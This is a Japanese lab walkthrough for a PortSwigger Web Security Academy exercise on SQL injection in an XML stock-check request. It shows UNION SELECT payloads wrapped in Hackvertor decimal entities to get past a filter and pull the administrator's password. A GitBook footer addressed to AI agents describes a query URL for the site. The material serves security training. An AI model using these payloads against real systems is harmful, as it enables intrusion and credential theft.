> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web/sql-injection/sql-injection-filter-bypass-via-xml-encoding.md).

# XMLエンコーディングによるSQLインジェクションフィルタ回避

PortSwigger Web Security Academy のラボ向けメモ。XMLエンコーディングによるSQLインジェクションフィルタ回避に関するもので、攻撃手順、ペイロードのテスト、Burp Suite による検証、および対策の文脈を含む。

### XMLエンコードによるフィルタ回避を伴うSQLインジェクション

このラボには、在庫確認機能にSQLインジェクションの脆弱性があります。リクエストの結果はアプリケーションのレスポンスで返されるため、そのため、私たちはあるものを使用できます。 `UNION` 他のテーブルからデータを取得するための攻撃。／データベースにはあるものが含まれています。 `users` 登録済みユーザーのユーザー名とパスワードを含むテーブル。ラボを解くには、SQLインジェクション攻撃を行って管理者ユーザーIDを取得し、その後そのアカウントにログインしてください。

提供されている例:

{% code overflow="wrap" %}

```xml
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
  <productId>2</productId>
  <storeId>2 union select 1</storeId>
</stockCheck>
```

{% endcode %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-318fef289e61ca5cc930326c657ae8ef5f7d33bc%2F%7B32FB8608-C2D3-4A07-9E99-943CEF22E474%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* Hackvertor拡張機能 — 10進数の文字実体参照

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c6296543cec75883c3f6b54d1af82889dc013c3f%2F%7B41215D91-8A2E-4FFF-894D-C1C511F408A8%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```xml
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
  <productId>2</productId>
  <storeId><@dec_entities>2 union select 1</@dec_entities></storeId>
</stockCheck>

<@dec_entities>
2 union select password from users where username='administrator'
</@dec_entities>
```

{% endcode %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b6b0c7ac5bb4336b4fcb293c8e58286ee15ba886%2F%7B27FBB3CC-A538-422C-B9F9-475B42F32210%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/web/sql-injection/sql-injection-filter-bypass-via-xml-encoding.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
